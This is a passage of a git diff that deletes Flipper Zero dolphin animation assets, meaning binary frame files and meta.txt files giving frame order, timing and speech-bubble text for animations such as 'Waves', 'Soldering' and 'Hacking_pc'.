b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_8.bm deleted file mode 100644 index 8d0aca11f..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_9.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_9.bm deleted file mode 100644 index 9e23dc95b..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/meta.txt b/assets/resources/dolphin/L1_Sleigh_ride_128x64/meta.txt deleted file mode 100644 index eed81079d..000000000 --- a/assets/resources/dolphin/L1_Sleigh_ride_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 18 -Active frames: 19 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 21 -Y: 25 -Text: AAAAaAAAAHHh!! -AlignH: Right -AlignV: Bottom -StartFrame: 30 -EndFrame: 32 diff --git a/assets/resources/dolphin/L1_Waves_128x50/frame_0.bm b/assets/resources/dolphin/L1_Waves_128x50/frame_0.bm deleted file mode 100644 index aa7454666..000000000 Binary files a/assets/resources/dolphin/L1_Waves_128x50/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Waves_128x50/frame_1.bm b/assets/resources/dolphin/L1_Waves_128x50/frame_1.bm deleted file mode 100644 index a23d250b9..000000000 Binary files a/assets/resources/dolphin/L1_Waves_128x50/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Waves_128x50/frame_2.bm b/assets/resources/dolphin/L1_Waves_128x50/frame_2.bm deleted file mode 100644 index cd39b17ec..000000000 Binary files a/assets/resources/dolphin/L1_Waves_128x50/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Waves_128x50/frame_3.bm b/assets/resources/dolphin/L1_Waves_128x50/frame_3.bm deleted file mode 100644 index 2d5452d7c..000000000 Binary files a/assets/resources/dolphin/L1_Waves_128x50/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Waves_128x50/meta.txt b/assets/resources/dolphin/L1_Waves_128x50/meta.txt deleted file mode 100644 index edc7ebe99..000000000 --- a/assets/resources/dolphin/L1_Waves_128x50/meta.txt +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 50 -Passive frames: 2 -Active frames: 4 -Frames order: 0 1 2 3 2 3 -Active cycles: 2 -Frame rate: 2 -Duration: 360 -Active cooldown: 5 - -Bubble slots: 3 - -Slot: 0 -X: 1 -Y: 17 -Text: I am happy,\nmy friend! -AlignH: Right -AlignV: Bottom -StartFrame: 3 -EndFrame: 9 - -Slot: 1 -X: 1 -Y: 17 -Text: So long and\nthanks for\nall the fish! -AlignH: Right -AlignV: Center -StartFrame: 3 -EndFrame: 9 - -Slot: 2 -X: 1 -Y: 25 -Text: I wish I could -AlignH: Right -AlignV: Bottom -StartFrame: 3 -EndFrame: 5 - -Slot: 2 -X: 1 -Y: 25 -Text: swim all day -AlignH: Right -AlignV: Bottom -StartFrame: 6 -EndFrame: 9 diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_0.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_0.bm deleted file mode 100644 index 7e83e14a5..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_1.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_1.bm deleted file mode 100644 index f149f01e9..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_10.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_10.bm deleted file mode 100644 index c5312e5e5..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_11.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_11.bm deleted file mode 100644 index c91ed2fd2..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_12.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_12.bm deleted file mode 100644 index 392905a55..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_13.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_13.bm deleted file mode 100644 index aa5353e98..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_14.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_14.bm deleted file mode 100644 index 837c6c71d..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_15.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_15.bm deleted file mode 100644 index 0000a8863..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_16.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_16.bm deleted file mode 100644 index 46a96ff46..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_17.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_17.bm deleted file mode 100644 index edccc7396..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_18.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_18.bm deleted file mode 100644 index 84f60c81e..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_2.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_2.bm deleted file mode 100644 index ade67d101..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_3.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_3.bm deleted file mode 100644 index d05e8ae2b..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_4.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_4.bm deleted file mode 100644 index 5aef12762..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_5.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_5.bm deleted file mode 100644 index 3be1790d7..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_6.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_6.bm deleted file mode 100644 index c457e7877..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_7.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_7.bm deleted file mode 100644 index 7e83e14a5..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_8.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_8.bm deleted file mode 100644 index b7b871d13..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_9.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_9.bm deleted file mode 100644 index 269e5b1d8..000000000 Binary files a/assets/resources/dolphin/L2_Furippa2_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/meta.txt b/assets/resources/dolphin/L2_Furippa2_128x64/meta.txt deleted file mode 100644 index 8b01676f5..000000000 --- a/assets/resources/dolphin/L2_Furippa2_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 11 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_0.bm b/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_0.bm deleted file mode 100644 index 3ff70a916..000000000 Binary files a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_1.bm b/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_1.bm deleted file mode 100644 index ed11583f8..000000000 Binary files a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_2.bm b/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_2.bm deleted file mode 100644 index 41850505b..000000000 Binary files a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_3.bm b/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_3.bm deleted file mode 100644 index d4b47960a..000000000 Binary files a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_4.bm b/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_4.bm deleted file mode 100644 index ee3a5f188..000000000 Binary files a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/meta.txt b/assets/resources/dolphin/L2_Hacking_pc_128x64/meta.txt deleted file mode 100644 index a47eae2a9..000000000 --- a/assets/resources/dolphin/L2_Hacking_pc_128x64/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 3 -Active frames: 2 -Frames order: 0 1 2 3 4 -Active cycles: 4 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 22 -Y: 25 -Text: Mess with\nthe best, -AlignH: Right -AlignV: Center -StartFrame: 4 -EndFrame: 7 - -Slot: 0 -X: 31 -Y: 25 -Text: die like\nthe rest. -AlignH: Right -AlignV: Center -StartFrame: 8 -EndFrame: 10 diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_0.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_0.bm deleted file mode 100644 index 3fc364406..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_1.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_1.bm deleted file mode 100644 index 60a2e700a..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_10.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_10.bm deleted file mode 100644 index f80819358..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_2.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_2.bm deleted file mode 100644 index 1d981e7d5..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_3.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_3.bm deleted file mode 100644 index 48d0aa85d..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_4.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_4.bm deleted file mode 100644 index a961f4c0a..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_5.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_5.bm deleted file mode 100644 index 81b569339..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_6.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_6.bm deleted file mode 100644 index 2f030833a..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_7.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_7.bm deleted file mode 100644 index 4519819ea..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_8.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_8.bm deleted file mode 100644 index 4bb3b7983..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_9.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_9.bm deleted file mode 100644 index 1339c607e..000000000 Binary files a/assets/resources/dolphin/L2_Soldering_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Soldering_128x64/meta.txt b/assets/resources/dolphin/L2_Soldering_128x64/meta.txt deleted file mode 100644 index f47cfe047..000000000 --- a/assets/resources/dolphin/L2_Soldering_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 9 -Active frames: 5 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 9 10 9 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 71 -Y: 28 -Text: I am busy rn -AlignH: Left -AlignV: Center -StartFrame: 10 -EndFrame: 13 diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_0.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_0.bm deleted file mode 100644 index 3c59712a8..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_1.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_1.bm deleted file mode 100644 index af7bc519e..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_10.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_10.bm deleted file mode 100644 index f3628db4c..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_11.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_11.bm deleted file mode 100644 index 215b347b7..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_12.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_12.bm deleted file mode 100644 index f2442be9c..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_13.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_13.bm deleted file mode 100644 index 0e5389fd3..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_14.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_14.bm deleted file mode 100644 index a13cda839..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_15.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_15.bm deleted file mode 100644 index 7129cf103..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_16.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_16.bm deleted file mode 100644 index 12a1eaeb2..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_17.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_17.bm deleted file mode 100644 index 5758af24e..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_18.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_18.bm deleted file mode 100644 index 49d7c170d..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_19.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_19.bm deleted file mode 100644 index 0fe840199..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_2.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_2.bm deleted file mode 100644 index ca17d190b..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_20.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_20.bm deleted file mode 100644 index 4d42a4679..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_3.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_3.bm deleted file mode 100644 index 847fa6a94..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_4.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_4.bm deleted file mode 100644 index 57321af8c..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_5.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_5.bm deleted file mode 100644 index 32233b0af..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_6.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_6.bm deleted file mode 100644 index ee2ecbebb..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_7.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_7.bm deleted file mode 100644 index 12d90e652..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_8.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_8.bm deleted file mode 100644 index 21b3d8786..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_9.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_9.bm deleted file mode 100644 index c88b734a4..000000000 Binary files a/assets/resources/dolphin/L2_Wake_up_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/meta.txt b/assets/resources/dolphin/L2_Wake_up_128x64/meta.txt deleted file mode 100644 index 08de0bbc0..000000000 --- a/assets/resources/dolphin/L2_Wake_up_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 10 -Active frames: 18 -Frames order: 0 1 0 1 0 1 0 2 3 4 0 5 6 7 8 9 10 11 10 12 13 14 15 16 17 18 19 20 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_0.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_0.bm deleted file mode 100644 index 07a63d642..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_1.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_1.bm deleted file mode 100644 index 6d118f28a..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_10.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_10.bm deleted file mode 100644 index 8010501d0..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_11.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_11.bm deleted file mode 100644 index 4d650bff0..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_12.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_12.bm deleted file mode 100644 index 392905a55..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_13.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_13.bm deleted file mode 100644 index aa5353e98..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_14.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_14.bm deleted file mode 100644 index 837c6c71d..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_15.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_15.bm deleted file mode 100644 index 9ff56a5b6..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_16.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_16.bm deleted file mode 100644 index 34cc0b512..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_17.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_17.bm deleted file mode 100644 index 80cb06fd3..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_18.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_18.bm deleted file mode 100644 index 719a80f0e..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_2.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_2.bm deleted file mode 100644 index c01485850..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_3.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_3.bm deleted file mode 100644 index f70c33cad..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_4.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_4.bm deleted file mode 100644 index 3fee74b77..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_5.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_5.bm deleted file mode 100644 index e363bf7d5..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_6.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_6.bm deleted file mode 100644 index f46aabadf..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_7.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_7.bm deleted file mode 100644 index 07a63d642..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_8.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_8.bm deleted file mode 100644 index f8bae3a62..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_9.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_9.bm deleted file mode 100644 index 6b5810dc9..000000000 Binary files a/assets/resources/dolphin/L3_Furippa3_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/meta.txt b/assets/resources/dolphin/L3_Furippa3_128x64/meta.txt deleted file mode 100644 index 8b01676f5..000000000 --- a/assets/resources/dolphin/L3_Furippa3_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 11 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_0.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_0.bm deleted file mode 100644 index cf2120ff4..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_1.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_1.bm deleted file mode 100644 index 24a492132..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_10.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_10.bm deleted file mode 100644 index 1354c78f2..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_11.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_11.bm deleted file mode 100644 index c15289b5e..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_12.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_12.bm deleted file mode 100644 index ac9f08334..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_13.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_13.bm deleted file mode 100644 index 9ad7b9cf3..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_2.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_2.bm deleted file mode 100644 index 30c4bedcd..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_3.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_3.bm deleted file mode 100644 index dc0fb9b79..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_4.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_4.bm deleted file mode 100644 index 025477a7a..000000000 Binary files 